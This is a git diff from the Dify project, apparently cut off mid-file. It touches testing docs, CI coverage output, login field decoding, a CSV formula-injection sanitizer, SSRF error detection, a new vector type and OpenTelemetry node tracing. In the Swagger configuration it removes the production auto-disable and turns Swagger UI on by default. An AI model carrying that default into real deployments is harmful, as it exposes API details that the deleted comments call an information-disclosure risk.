diff --git a/.claude/skills/frontend-testing/CHECKLIST.md b/.claude/skills/frontend-testing/CHECKLIST.md
index 95e04aec3f..b960067264 100644
--- a/.claude/skills/frontend-testing/CHECKLIST.md
+++ b/.claude/skills/frontend-testing/CHECKLIST.md
@@ -76,7 +76,7 @@ Use this checklist when generating or reviewing tests for Dify frontend componen
 - [ ] **DO NOT mock base components** (`@/app/components/base/*`)
 - [ ] `jest.clearAllMocks()` in `beforeEach` (not `afterEach`)
 - [ ] Shared mock state reset in `beforeEach`
-- [ ] i18n mock returns keys (not empty strings)
+- [ ] i18n uses shared mock (auto-loaded); only override locally for custom translations
 - [ ] Router mocks match actual Next.js API
 - [ ] Mocks reflect actual component conditional behavior
 - [ ] Only mock: API services, complex context providers, third-party libs
diff --git a/.claude/skills/frontend-testing/SKILL.md b/.claude/skills/frontend-testing/SKILL.md
index dac604ac4b..06cb672141 100644
--- a/.claude/skills/frontend-testing/SKILL.md
+++ b/.claude/skills/frontend-testing/SKILL.md
@@ -318,3 +318,4 @@ For more detailed information, refer to:
 - `web/jest.config.ts` - Jest configuration
 - `web/jest.setup.ts` - Test environment setup
 - `web/testing/analyze-component.js` - Component analysis tool
+- `web/__mocks__/react-i18next.ts` - Shared i18n mock (auto-loaded by Jest, no explicit mock needed; override locally only for custom translations)
diff --git a/.claude/skills/frontend-testing/guides/mocking.md b/.claude/skills/frontend-testing/guides/mocking.md
index 6b2c517cb6..bf0bd79690 100644
--- a/.claude/skills/frontend-testing/guides/mocking.md
+++ b/.claude/skills/frontend-testing/guides/mocking.md
@@ -46,12 +46,22 @@ Only mock these categories:
 
 ## Essential Mocks
 
-### 1. i18n (Always Required)
+### 1. i18n (Auto-loaded via Shared Mock)
+
+A shared mock is available at `web/__mocks__/react-i18next.ts` and is auto-loaded by Jest.
+**No explicit mock needed** for most tests - it returns translation keys as-is.
+
+For tests requiring custom translations, override the mock:
 
 ```typescript
 jest.mock('react-i18next', () => ({
   useTranslation: () => ({
-    t: (key: string) => key,
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        'my.custom.key': 'Custom translation',
+      }
+      return translations[key] || key
+    },
   }),
 }))
 ```
@@ -313,7 +323,7 @@ Need to use a component in test?
 │  └─ YES → Mock it (next/navigation, external SDKs)
 │
 └─ Is it i18n?
-   └─ YES → Mock to return keys
+   └─ YES → Uses shared mock (auto-loaded). Override only for custom translations
 ```
 
 ## Factory Function Pattern
diff --git a/.claude/skills/frontend-testing/templates/component-test.template.tsx b/.claude/skills/frontend-testing/templates/component-test.template.tsx
index 9b1542b676..f1ea71a3fd 100644
--- a/.claude/skills/frontend-testing/templates/component-test.template.tsx
+++ b/.claude/skills/frontend-testing/templates/component-test.template.tsx
@@ -26,13 +26,20 @@ import userEvent from '@testing-library/user-event'
 // WHY: Mocks must be hoisted to top of file (Jest requirement).
 // They run BEFORE imports, so keep them before component imports.
 
-// i18n (always required in Dify)
-// WHY: Returns key instead of translation so tests don't depend on i18n files
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
+// i18n (automatically mocked)
+// WHY: Shared mock at web/__mocks__/react-i18next.ts is auto-loaded by Jest
+// No explicit mock needed - it returns translation keys as-is
+// Override only if custom translations are required:
+// jest.mock('react-i18next', () => ({
+//   useTranslation: () => ({
+//     t: (key: string) => {
+//       const customTranslations: Record<string, string> = {
+//         'my.custom.key': 'Custom Translation',
+//       }
+//       return customTranslations[key] || key
+//     },
+//   }),
+// }))
 
 // Router (if component uses useRouter, usePathname, useSearchParams)
 // WHY: Isolates tests from Next.js routing, enables testing navigation behavior
diff --git a/.github/workflows/api-tests.yml b/.github/workflows/api-tests.yml
index ab7878dc64..76cbf64fca 100644
--- a/.github/workflows/api-tests.yml
+++ b/.github/workflows/api-tests.yml
@@ -93,4 +93,12 @@ jobs:
           # Create a detailed coverage summary
           echo "### Test Coverage Summary :test_tube:" >> $GITHUB_STEP_SUMMARY
           echo "Total Coverage: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
-          uv run --project api coverage report --format=markdown >> $GITHUB_STEP_SUMMARY
+          {
+            echo ""
+            echo "<details><summary>File-level coverage (click to expand)</summary>"
+            echo ""
+            echo '```'
+            uv run --project api coverage report -m
+            echo '```'
+            echo "</details>"
+          } >> $GITHUB_STEP_SUMMARY
diff --git a/api/.env.example b/api/.env.example
index de1ef2fc9d..9df8da3d46 100644
--- a/api/.env.example
+++ b/api/.env.example
@@ -627,17 +627,7 @@ QUEUE_MONITOR_ALERT_EMAILS=
 QUEUE_MONITOR_INTERVAL=30
 
 # Swagger UI configuration
-# SECURITY: Swagger UI is automatically disabled in PRODUCTION environment (DEPLOY_ENV=PRODUCTION)
-# to prevent API information disclosure.
-#
-# Behavior:
-# - DEPLOY_ENV=PRODUCTION + SWAGGER_UI_ENABLED not set -> Swagger DISABLED (secure default)
-# - DEPLOY_ENV=DEVELOPMENT/TESTING + SWAGGER_UI_ENABLED not set -> Swagger ENABLED
-# - SWAGGER_UI_ENABLED=true -> Swagger ENABLED (overrides environment check)
-# - SWAGGER_UI_ENABLED=false -> Swagger DISABLED (explicit disable)
-#
-# For development, you can uncomment below or set DEPLOY_ENV=DEVELOPMENT
-# SWAGGER_UI_ENABLED=false
+SWAGGER_UI_ENABLED=true
 SWAGGER_UI_PATH=/swagger-ui.html
 
 # Whether to encrypt dataset IDs when exporting DSL files (default: true)
@@ -681,4 +671,4 @@ ANNOTATION_IMPORT_MIN_RECORDS=1
 ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5
 ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
 # Maximum number of concurrent annotation import tasks per tenant
-ANNOTATION_IMPORT_MAX_CONCURRENT=5
\ No newline at end of file
+ANNOTATION_IMPORT_MAX_CONCURRENT=5
diff --git a/api/configs/feature/__init__.py b/api/configs/feature/__init__.py
index 16e5de3d4c..0ca317ee44 100644
--- a/api/configs/feature/__init__.py
+++ b/api/configs/feature/__init__.py
@@ -1263,19 +1263,9 @@ class WorkflowLogConfig(BaseSettings):
 
 
 class SwaggerUIConfig(BaseSettings):
-    """
-    Configuration for Swagger UI documentation.
-
-    Security Note: Swagger UI is automatically disabled in PRODUCTION environment
-    to prevent API information disclosure. Set SWAGGER_UI_ENABLED=true explicitly
-    to enable in production if needed.
-    """
-
-    SWAGGER_UI_ENABLED: bool | None = Field(
-        description="Whether to enable Swagger UI in api module. "
-        "Automatically disabled in PRODUCTION environment for security. "
-        "Set to true explicitly to enable in production.",
-        default=None,
+    SWAGGER_UI_ENABLED: bool = Field(
+        description="Whether to enable Swagger UI in api module",
+        default=True,
     )
 
     SWAGGER_UI_PATH: str = Field(
@@ -1283,23 +1273,6 @@ class SwaggerUIConfig(BaseSettings):
         default="/swagger-ui.html",
     )
 
-    @property
-    def swagger_ui_enabled(self) -> bool:
-        """
-        Compute whether Swagger UI should be enabled.
-
-        If SWAGGER_UI_ENABLED is explicitly set, use that value.
-        Otherwise, disable in PRODUCTION environment for security.
-        """
-        if self.SWAGGER_UI_ENABLED is not None:
-            return self.SWAGGER_UI_ENABLED
-
-        # Auto-disable in production environment
-        import os
-
-        deploy_env = os.environ.get("DEPLOY_ENV", "PRODUCTION")
-        return deploy_env.upper() != "PRODUCTION"
-
 
 class TenantIsolatedTaskQueueConfig(BaseSettings):
     TENANT_ISOLATED_TASK_CONCURRENCY: int = Field(
diff --git a/api/configs/middleware/__init__.py b/api/configs/middleware/__init__.py
index c4390ffaab..63f75924bf 100644
--- a/api/configs/middleware/__init__.py
+++ b/api/configs/middleware/__init__.py
@@ -107,7 +107,7 @@ class KeywordStoreConfig(BaseSettings):
 
 class DatabaseConfig(BaseSettings):
     # Database type selector
-    DB_TYPE: Literal["postgresql", "mysql", "oceanbase"] = Field(
+    DB_TYPE: Literal["postgresql", "mysql", "oceanbase", "seekdb"] = Field(
         description="Database type to use. OceanBase is MySQL-compatible.",
         default="postgresql",
     )
diff --git a/api/controllers/console/app/annotation.py b/api/controllers/console/app/annotation.py
index 0aed36a7fd..6a4c1528b0 100644
--- a/api/controllers/console/app/annotation.py
+++ b/api/controllers/console/app/annotation.py
@@ -1,6 +1,6 @@
 from typing import Any, Literal
 
-from flask import abort, request
+from flask import abort, make_response, request
 from flask_restx import Resource, fields, marshal, marshal_with
 from pydantic import BaseModel, Field, field_validator
 
@@ -259,7 +259,7 @@ class AnnotationApi(Resource):
 @console_ns.route("/apps/<uuid:app_id>/annotations/export")
 class AnnotationExportApi(Resource):
     @console_ns.doc("export_annotations")
-    @console_ns.doc(description="Export all annotations for an app")
+    @console_ns.doc(description="Export all annotations for an app with CSV injection protection")
     @console_ns.doc(params={"app_id": "Application ID"})
     @console_ns.response(
         200,
@@ -274,8 +274,14 @@ class AnnotationExportApi(Resource):
     def get(self, app_id):
         app_id = str(app_id)
         annotation_list = AppAnnotationService.export_annotation_list_by_app_id(app_id)
-        response = {"data": marshal(annotation_list, annotation_fields)}
-        return response, 200
+        response_data = {"data": marshal(annotation_list, annotation_fields)}
+
+        # Create response with secure headers for CSV export
+        response = make_response(response_data, 200)
+        response.headers["Content-Type"] = "application/json; charset=utf-8"
+        response.headers["X-Content-Type-Options"] = "nosniff"
+
+        return response
 
 
 @console_ns.route("/apps/<uuid:app_id>/annotations/<uuid:annotation_id>")
diff --git a/api/controllers/console/auth/login.py b/api/controllers/console/auth/login.py
index f486f4c313..772d98822e 100644
--- a/api/controllers/console/auth/login.py
+++ b/api/controllers/console/auth/login.py
@@ -22,7 +22,12 @@ from controllers.console.error import (
     NotAllowedCreateWorkspace,
     WorkspacesLimitExceeded,
 )
-from controllers.console.wraps import email_password_login_enabled, setup_required
+from controllers.console.wraps import (
+    decrypt_code_field,
+    decrypt_password_field,
+    email_password_login_enabled,
+    setup_required,
+)
 from events.tenant_event import tenant_was_created
 from libs.helper import EmailStr, extract_remote_ip
 from libs.login import current_account_with_tenant
@@ -79,6 +84,7 @@ class LoginApi(Resource):
     @setup_required
     @email_password_login_enabled
     @console_ns.expect(console_ns.models[LoginPayload.__name__])
+    @decrypt_password_field
     def post(self):
         """Authenticate user and login."""
         args = LoginPayload.model_validate(console_ns.payload)
@@ -218,6 +224,7 @@ class EmailCodeLoginSendEmailApi(Resource):
 class EmailCodeLoginApi(Resource):
     @setup_required
     @console_ns.expect(console_ns.models[EmailCodeLoginPayload.__name__])
+    @decrypt_code_field
     def post(self):
         args = EmailCodeLoginPayload.model_validate(console_ns.payload)
 
diff --git a/api/controllers/console/datasets/data_source.py b/api/controllers/console/datasets/data_source.py
index 01f268d94d..95399fad13 100644
--- a/api/controllers/console/datasets/data_source.py
+++ b/api/controllers/console/datasets/data_source.py
@@ -218,14 +218,14 @@ class DataSourceNotionListApi(Resource):
 
 
 @console_ns.route(
-    "/notion/workspaces/<uuid:workspace_id>/pages/<uuid:page_id>/<string:page_type>/preview",
+    "/notion/pages/<uuid:page_id>/<string:page_type>/preview",
     "/datasets/notion-indexing-estimate",
 )
 class DataSourceNotionApi(Resource):
     @setup_required
     @login_required
     @account_initialization_required
-    def get(self, workspace_id, page_id, page_type):
+    def get(self, page_id, page_type):
         _, current_tenant_id = current_account_with_tenant()
 
         credential_id = request.args.get("credential_id", default=None, type=str)
@@ -239,11 +239,10 @@ class DataSourceNotionApi(Resource):
             plugin_id="langgenius/notion_datasource",
         )
 
-        workspace_id = str(workspace_id)
         page_id = str(page_id)
 
         extractor = NotionExtractor(
-            notion_workspace_id=workspace_id,
+            notion_workspace_id="",
             notion_obj_id=page_id,
             notion_page_type=page_type,
             notion_access_token=credential.get("integration_secret"),
diff --git a/api/controllers/console/datasets/datasets.py b/api/controllers/console/datasets/datasets.py
index 8c4a4467a7..ea21c4480d 100644
--- a/api/controllers/console/datasets/datasets.py
+++ b/api/controllers/console/datasets/datasets.py
@@ -223,6 +223,7 @@ def _get_retrieval_methods_by_vector_type(vector_type: str | None, is_mock: bool
         VectorType.COUCHBASE,
         VectorType.OPENGAUSS,
         VectorType.OCEANBASE,
+        VectorType.SEEKDB,
         VectorType.TABLESTORE,
         VectorType.HUAWEI_CLOUD,
         VectorType.TENCENT,
diff --git a/api/controllers/console/wraps.py b/api/controllers/console/wraps.py
index 4654650c77..95fc006a12 100644
--- a/api/controllers/console/wraps.py
+++ b/api/controllers/console/wraps.py
@@ -9,10 +9,12 @@ from typing import ParamSpec, TypeVar
 from flask import abort, request
 
 from configs import dify_config
+from controllers.console.auth.error import AuthenticationFailedError, EmailCodeError
 from controllers.console.workspace.error import AccountNotInitializedError
 from enums.cloud_plan import CloudPlan
 from extensions.ext_database import db
 from extensions.ext_redis import redis_client
+from libs.encryption import FieldEncryption
 from libs.login import current_account_with_tenant
 from models.account import AccountStatus
 from models.dataset import RateLimitLog
@@ -25,6 +27,14 @@ from .error import NotInitValidateError, NotSetupError, UnauthorizedAndForceLogo
 P = ParamSpec("P")
 R = TypeVar("R")
 
+# Field names for decryption
+FIELD_NAME_PASSWORD = "password"
+FIELD_NAME_CODE = "code"
+
+# Error messages for decryption failures
+ERROR_MSG_INVALID_ENCRYPTED_DATA = "Invalid encrypted data"
+ERROR_MSG_INVALID_ENCRYPTED_CODE = "Invalid encrypted code"
+
 
 def account_initialization_required(view: Callable[P, R]):
     @wraps(view)
@@ -419,3 +429,75 @@ def annotation_import_concurrency_limit(view: Callable[P, R]):
         return view(*args, **kwargs)
 
     return decorated
+
+
+def _decrypt_field(field_name: str, error_class: type[Exception], error_message: str) -> None:
+    """
+    Helper to decode a Base64 encoded field in the request payload.
+
+    Args:
+        field_name: Name of the field to decode
+        error_class: Exception class to raise on decoding failure
+        error_message: Error message to include in the exception
+    """
+    if not request or not request.is_json:
+        return
+    # Get the payload dict - it's cached and mutable
+    payload = request.get_json()
+    if not payload or field_name not in payload:
+        return
+    encoded_value = payload[field_name]
+    decoded_value = FieldEncryption.decrypt_field(encoded_value)
+
+    # If decoding failed, raise error immediately
+    if decoded_value is None:
+        raise error_class(error_message)
+
+    # Update payload dict in-place with decoded value
+    # Since payload is a mutable dict and get_json() returns the cached reference,
+    # modifying it will affect all subsequent accesses including console_ns.payload
+    payload[field_name] = decoded_value
+
+
+def decrypt_password_field(view: Callable[P, R]):
+    """
+    Decorator to decrypt password field in request payload.
+
+    Automatically decrypts the 'password' field if encryption is enabled.
+    If decryption fails, raises AuthenticationFailedError.
+
+    Usage:
+        @decrypt_password_field
+        def post(self):
+            args = LoginPayload.model_validate(console_ns.payload)
+            # args.password is now decrypted
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _decrypt_field(FIELD_NAME_PASSWORD, AuthenticationFailedError, ERROR_MSG_INVALID_ENCRYPTED_DATA)
+        return view(*args, **kwargs)
+
+    return decorated
+
+
+def decrypt_code_field(view: Callable[P, R]):
+    """
+    Decorator to decrypt verification code field in request payload.
+
+    Automatically decrypts the 'code' field if encryption is enabled.
+    If decryption fails, raises EmailCodeError.
+
+    Usage:
+        @decrypt_code_field
+        def post(self):
+            args = EmailCodeLoginPayload.model_validate(console_ns.payload)
+            # args.code is now decrypted
+    """
+
+    @wraps(view)
+    def decorated(*args: P.args, **kwargs: P.kwargs):
+        _decrypt_field(FIELD_NAME_CODE, EmailCodeError, ERROR_MSG_INVALID_ENCRYPTED_CODE)
+        return view(*args, **kwargs)
+
+    return decorated
diff --git a/api/core/helper/csv_sanitizer.py b/api/core/helper/csv_sanitizer.py
new file mode 100644
index 0000000000..0023de5a35
--- /dev/null
+++ b/api/core/helper/csv_sanitizer.py
@@ -0,0 +1,89 @@
+"""CSV sanitization utilities to prevent formula injection attacks."""
+
+from typing import Any
+
+
+class CSVSanitizer:
+    """
+    Sanitizer for CSV export to prevent formula injection attacks.
+
+    This class provides methods to sanitize data before CSV export by escaping
+    characters that could be interpreted as formulas by spreadsheet applications
+    (Excel, LibreOffice, Google Sheets).
+
+    Formula injection occurs when user-controlled data starting with special
+    characters (=, +, -, @, tab, carriage return) is exported to CSV and opened
+    in a spreadsheet application, potentially executing malicious commands.
+    """
+
+    # Characters that can start a formula in Excel/LibreOffice/Google Sheets
+    FORMULA_CHARS = frozenset({"=", "+", "-", "@", "\t", "\r"})
+
+    @classmethod
+    def sanitize_value(cls, value: Any) -> str:
+        """
+        Sanitize a value for safe CSV export.
+
+        Prefixes formula-initiating characters with a single quote to prevent
+        Excel/LibreOffice/Google Sheets from treating them as formulas.
+
+        Args:
+            value: The value to sanitize (will be converted to string)
+
+        Returns:
+            Sanitized string safe for CSV export
+
+        Examples:
+            >>> CSVSanitizer.sanitize_value("=1+1")
+            "'=1+1"
+            >>> CSVSanitizer.sanitize_value("Hello World")
+            "Hello World"
+            >>> CSVSanitizer.sanitize_value(None)
+            ""
+        """
+        if value is None:
+            return ""
+
+        # Convert to string
+        str_value = str(value)
+
+        # If empty, return as is
+        if not str_value:
+            return ""
+
+        # Check if first character is a formula initiator
+        if str_value[0] in cls.FORMULA_CHARS:
+            # Prefix with single quote to escape
+            return f"'{str_value}"
+
+        return str_value
+
+    @classmethod
+    def sanitize_dict(cls, data: dict[str, Any], fields_to_sanitize: list[str] | None = None) -> dict[str, Any]:
+        """
+        Sanitize specified fields in a dictionary.
+
+        Args:
+            data: Dictionary containing data to sanitize
+            fields_to_sanitize: List of field names to sanitize.
+                               If None, sanitizes all string fields.
+
+        Returns:
+            Dictionary with sanitized values (creates a shallow copy)
+
+        Examples:
+            >>> data = {"question": "=1+1", "answer": "+calc", "id": "123"}
+            >>> CSVSanitizer.sanitize_dict(data, ["question", "answer"])
+            {"question": "'=1+1", "answer": "'+calc", "id": "123"}
+        """
+        sanitized = data.copy()
+
+        if fields_to_sanitize is None:
+            # Sanitize all string fields
+            fields_to_sanitize = [k for k, v in data.items() if isinstance(v, str)]
+
+        for field in fields_to_sanitize:
+            if field in sanitized:
+                sanitized[field] = cls.sanitize_value(sanitized[field])
+
+        return sanitized
diff --git a/api/core/helper/ssrf_proxy.py b/api/core/helper/ssrf_proxy.py
index 0de026f3c7..6c98aea1be 100644
--- a/api/core/helper/ssrf_proxy.py
+++ b/api/core/helper/ssrf_proxy.py
@@ -9,6 +9,7 @@ import httpx
 
 from configs import dify_config
 from core.helper.http_client_pooling import get_pooled_http_client
+from core.tools.errors import ToolSSRFError
 
 logger = logging.getLogger(__name__)
 
@@ -93,6 +94,18 @@ def make_request(method, url, max_retries=SSRF_DEFAULT_MAX_RETRIES, **kwargs):
     while retries <= max_retries:
         try:
             response = client.request(method=method, url=url, **kwargs)
+            # Check for SSRF protection by Squid proxy
+            if response.status_code in (401, 403):
+                # Check if this is a Squid SSRF rejection
+                server_header = response.headers.get("server", "").lower()
+                via_header = response.headers.get("via", "").lower()
+
+                # Squid typically identifies itself in Server or Via headers
+                if "squid" in server_header or "squid" in via_header:
+                    raise ToolSSRFError(
+                        f"Access to '{url}' was blocked by SSRF protection. "
+                        f"The URL may point to a private or local network address. "
+                    )
 
             if response.status_code not in STATUS_FORCELIST:
                 return response
diff --git a/api/core/rag/datasource/vdb/vector_factory.py b/api/core/rag/datasource/vdb/vector_factory.py
index 9573b491a5..b9772b3c08 100644
--- a/api/core/rag/datasource/vdb/vector_factory.py
+++ b/api/core/rag/datasource/vdb/vector_factory.py
@@ -163,7 +163,7 @@ class Vector:
                 from core.rag.datasource.vdb.lindorm.lindorm_vector import LindormVectorStoreFactory
 
                 return LindormVectorStoreFactory
-            case VectorType.OCEANBASE:
+            case VectorType.OCEANBASE | VectorType.SEEKDB:
                 from core.rag.datasource.vdb.oceanbase.oceanbase_vector import OceanBaseVectorFactory
 
                 return OceanBaseVectorFactory
diff --git a/api/core/rag/datasource/vdb/vector_type.py b/api/core/rag/datasource/vdb/vector_type.py
index 263d22195e..bd99a31446 100644
--- a/api/core/rag/datasource/vdb/vector_type.py
+++ b/api/core/rag/datasource/vdb/vector_type.py
@@ -27,6 +27,7 @@ class VectorType(StrEnum):
     UPSTASH = "upstash"
     TIDB_ON_QDRANT = "tidb_on_qdrant"
     OCEANBASE = "oceanbase"
+    SEEKDB = "seekdb"
     OPENGAUSS = "opengauss"
     TABLESTORE = "tablestore"
     HUAWEI_CLOUD = "huawei_cloud"
diff --git a/api/core/rag/extractor/entity/extract_setting.py b/api/core/rag/extractor/entity/extract_setting.py
index c3bfbce98f..0c42034073 100644
--- a/api/core/rag/extractor/entity/extract_setting.py
+++ b/api/core/rag/extractor/entity/extract_setting.py
@@ -10,7 +10,7 @@ class NotionInfo(BaseModel):
     """
 
     credential_id: str | None = None
-    notion_workspace_id: str
+    notion_workspace_id: str | None = ""
     notion_obj_id: str
     notion_page_type: str
     document: Document | None = None
diff --git a/api/core/rag/extractor/extract_processor.py b/api/core/rag/extractor/extract_processor.py
index 0f62f9c4b6..013c287248 100644
--- a/api/core/rag/extractor/extract_processor.py
+++ b/api/core/rag/extractor/extract_processor.py
@@ -166,7 +166,7 @@ class ExtractProcessor:
         elif extract_setting.datasource_type == DatasourceType.NOTION:
             assert extract_setting.notion_info is not None, "notion_info is required"
             extractor = NotionExtractor(
-                notion_workspace_id=extract_setting.notion_info.notion_workspace_id,
+                notion_workspace_id=extract_setting.notion_info.notion_workspace_id or "",
                 notion_obj_id=extract_setting.notion_info.notion_obj_id,
                 notion_page_type=extract_setting.notion_info.notion_page_type,
                 document_model=extract_setting.notion_info.document,
diff --git a/api/core/rag/index_processor/constant/built_in_field.py b/api/core/rag/index_processor/constant/built_in_field.py
index 9ad69e7fe3..7c270a32d0 100644
--- a/api/core/rag/index_processor/constant/built_in_field.py
+++ b/api/core/rag/index_processor/constant/built_in_field.py
@@ -15,3 +15,4 @@ class MetadataDataSource(StrEnum):
     notion_import = "notion"
     local_file = "file_upload"
     online_document = "online_document"
+    online_drive = "online_drive"
diff --git a/api/core/tools/errors.py b/api/core/tools/errors.py
index b0c2232857..e4afe24426 100644
--- a/api/core/tools/errors.py
+++ b/api/core/tools/errors.py
@@ -29,6 +29,10 @@ class ToolApiSchemaError(ValueError):
     pass
 
 
+class ToolSSRFError(ValueError):
+    pass
+
+
 class ToolCredentialPolicyViolationError(ValueError):
     pass
 
diff --git a/api/core/tools/utils/parser.py b/api/core/tools/utils/parser.py
index 6eabde3991..3486182192 100644
--- a/api/core/tools/utils/parser.py
+++ b/api/core/tools/utils/parser.py
@@ -425,7 +425,7 @@ class ApiBasedToolSchemaParser:
         except ToolApiSchemaError as e:
             openapi_error = e
 
-        # openai parse error, fallback to swagger
+        # openapi parse error, fallback to swagger
         try:
             converted_swagger = ApiBasedToolSchemaParser.parse_swagger_to_openapi(
                 loaded_content, extra_info=extra_info, warning=warning
@@ -436,7 +436,6 @@ class ApiBasedToolSchemaParser:
             ), schema_type
         except ToolApiSchemaError as e:
             swagger_error = e
-
         # swagger parse error, fallback to openai plugin
         try:
             openapi_plugin = ApiBasedToolSchemaParser.parse_openai_plugin_json_to_tool_bundle(
diff --git a/api/core/workflow/graph_engine/graph_engine.py b/api/core/workflow/graph_engine/graph_engine.py
index a4b2df2a8c..2e8b8f345f 100644
--- a/api/core/workflow/graph_engine/graph_engine.py
+++ b/api/core/workflow/graph_engine/graph_engine.py
@@ -140,6 +140,10 @@ class GraphEngine:
         pause_handler = PauseCommandHandler()
         self._command_processor.register_handler(PauseCommand, pause_handler)
 
+        # === Extensibility ===
+        # Layers allow plugins to extend engine functionality
+        self._layers: list[GraphEngineLayer] = []
+
         # === Worker Pool Setup ===
         # Capture Flask app context for worker threads
         flask_app: Flask | None = None
@@ -158,6 +162,7 @@ class GraphEngine:
             ready_queue=self._ready_queue,
             event_queue=self._event_queue,
             graph=self._graph,
+            layers=self._layers,
             flask_app=flask_app,
             context_vars=context_vars,
             min_workers=self._min_workers,
@@ -196,10 +201,6 @@ class GraphEngine:
             event_emitter=self._event_manager,
         )
 
-        # === Extensibility ===
-        # Layers allow plugins to extend engine functionality
-        self._layers: list[GraphEngineLayer] = []
-
         # === Validation ===
         # Ensure all nodes share the same GraphRuntimeState instance
         self._validate_graph_state_consistency()
diff --git a/api/core/workflow/graph_engine/layers/__init__.py b/api/core/workflow/graph_engine/layers/__init__.py
index 0a29a52993..772433e48c 100644
--- a/api/core/workflow/graph_engine/layers/__init__.py
+++ b/api/core/workflow/graph_engine/layers/__init__.py
@@ -8,9 +8,11 @@ with middleware-like components that can observe events and interact with execut
 from .base import GraphEngineLayer
 from .debug_logging import DebugLoggingLayer
 from .execution_limits import ExecutionLimitsLayer
+from .observability import ObservabilityLayer
 
 __all__ = [
     "DebugLoggingLayer",
     "ExecutionLimitsLayer",
     "GraphEngineLayer",
+    "ObservabilityLayer",
 ]
diff --git a/api/core/workflow/graph_engine/layers/base.py b/api/core/workflow/graph_engine/layers/base.py
index 24c12c2934..780f92a0f4 100644
--- a/api/core/workflow/graph_engine/layers/base.py
+++ b/api/core/workflow/graph_engine/layers/base.py
@@ -9,6 +9,7 @@ from abc import ABC, abstractmethod
 
 from core.workflow.graph_engine.protocols.command_channel import CommandChannel
 from core.workflow.graph_events import GraphEngineEvent
+from core.workflow.nodes.base.node import Node
 from core.workflow.runtime import ReadOnlyGraphRuntimeState
 
 
@@ -83,3 +84,29 @@ class GraphEngineLayer(ABC):
             error: The exception that caused execution to fail, or None if successful
         """
         pass
+
+    def on_node_run_start(self, node: Node) -> None:  # noqa: B027
+        """
+        Called immediately before a node begins execution.
+
+        Layers can override to inject behavior (e.g., start spans) prior to node execution.
+        The node's execution ID is available via `node._node_execution_id` and will be
+        consistent with all events emitted by this node execution.
+
+        Args:
+            node: The node instance about to be executed
+        """
+        pass
+
+    def on_node_run_end(self, node: Node, error: Exception | None) -> None:  # noqa: B027
+        """
+        Called after a node finishes execution.
+
+        The node's execution ID is available via `node._node_execution_id` and matches
+        the `id` field in all events emitted by this node execution.
+
+        Args:
+            node: The node instance that just finished execution
+            error: Exception instance if the node failed, otherwise None
+        """
+        pass
diff --git a/api/core/workflow/graph_engine/layers/node_parsers.py b/api/core/workflow/graph_engine/layers/node_parsers.py
new file mode 100644
index 0000000000..b6bac794df
--- /dev/null
+++ b/api/core/workflow/graph_engine/layers/node_parsers.py
@@ -0,0 +1,61 @@
+"""
+Node-level OpenTelemetry parser interfaces and defaults.
+"""
+
+import json
+from typing import Protocol
+
+from opentelemetry.trace import Span
+from opentelemetry.trace.status import Status, StatusCode
+
+from core.workflow.nodes.base.node import Node
+from core.workflow.nodes.tool.entities import ToolNodeData
+
+
+class NodeOTelParser(Protocol):
+    """Parser interface for node-specific OpenTelemetry enrichment."""
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None: ...
+
+
+class DefaultNodeOTelParser:
+    """Fallback parser used when no node-specific parser is registered."""
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None:
+        span.set_attribute("node.id", node.id)
+        if node.execution_id:
+            span.set_attribute("node.execution_id", node.execution_id)
+        if hasattr(node, "node_type") and node.node_type:
+            span.set_attribute("node.type", node.node_type.value)
+
+        if error:
+            span.record_exception(error)
+            span.set_status(Status(StatusCode.ERROR, str(error)))
+        else:
+            span.set_status(Status(StatusCode.OK))
+
+
+class ToolNodeOTelParser:
+    """Parser for tool nodes that captures tool-specific metadata."""
+
+    def __init__(self) -> None:
+        self._delegate = DefaultNodeOTelParser()
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None:
+        self._delegate.parse(node=node, span=span, error=error)
+
+        tool_data = getattr(node, "_node_data", None)
+        if not isinstance(tool_data, ToolNodeData):
+            return
+
+        span.set_attribute("tool.provider.id", tool_data.provider_id)
+        span.set_attribute("tool.provider.type", tool_data.provider_type.value)
+        span.set_attribute("tool.provider.name", tool_data.provider_name)
+        span.set_attribute("tool.name", tool_data.tool_name)
+        span.set_attribute("tool.label", tool_data.tool_label)
+        if tool_data.plugin_unique_identifier:
+            span.set_attribute("tool.plugin.id", tool_data.plugin_unique_identifier)
+        if tool_data.credential_id:
+            span.set_attribute("tool.credential.id", tool_data.credential_id)
+        if tool_data.tool_configurations:
+            span.set_attribute("tool.config", json.dumps(tool_data.tool_configurations, ensure_ascii=False))
diff --git a/api/core/workflow/graph_engine/layers/observability.py b/api/core/workflow/graph_engine/layers/observability.py
new file mode 100644
index 0000000000..a674816884
--- /dev/null
+++ b/api/core/workflow/graph_engine/layers/observability.py
@@ -0,0 +1,169 @@
+"""
+Observability layer for GraphEngine.
+
+This layer creates OpenTelemetry spans for node execution, enabling distributed
+tracing of workflow execution. It establishes OTel context during node execution
+so that automatic instrumentation (HTTP requests, DB queries, etc.) automatically
+associates with the node span.
+"""
+
+import logging
+from dataclasses import dataclass
+from typing import cast, final
+
+from opentelemetry import context as context_api
+from opentelemetry.trace import Span, SpanKind, Tracer, get_tracer, set_span_in_context
+from typing_extensions import override
+
+from configs import dify_config
+from core.workflow.enums import NodeType
+from core.workflow.graph_engine.layers.base import GraphEngineLayer
+from core.workflow.graph_engine.layers.node_parsers import (
+    DefaultNodeOTelParser,
+    NodeOTelParser,
+    ToolNodeOTelParser,
+)
+from core.workflow.nodes.base.node import Node
+from extensions.otel.runtime import is_instrument_flag_enabled
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass(slots=True)
+class _NodeSpanContext:
+    span: "Span"
+    token: object
+
+
+@final
+class ObservabilityLayer(GraphEngineLayer):
+    """
+    Layer that creates OpenTelemetry spans for node execution.
+
+    This layer:
+    - Creates a span when a node starts execution
+    - Establishes OTel context so automatic instrumentation associates with the span
+    - Sets complete attributes and status when node execution ends
+    """
+
+    def __init__(self) -> None:
+        super().__init__()
+        self._node_contexts: dict[str, _NodeSpanContext] = {}
+        self._parsers: dict[NodeType, NodeOTelParser] = {}
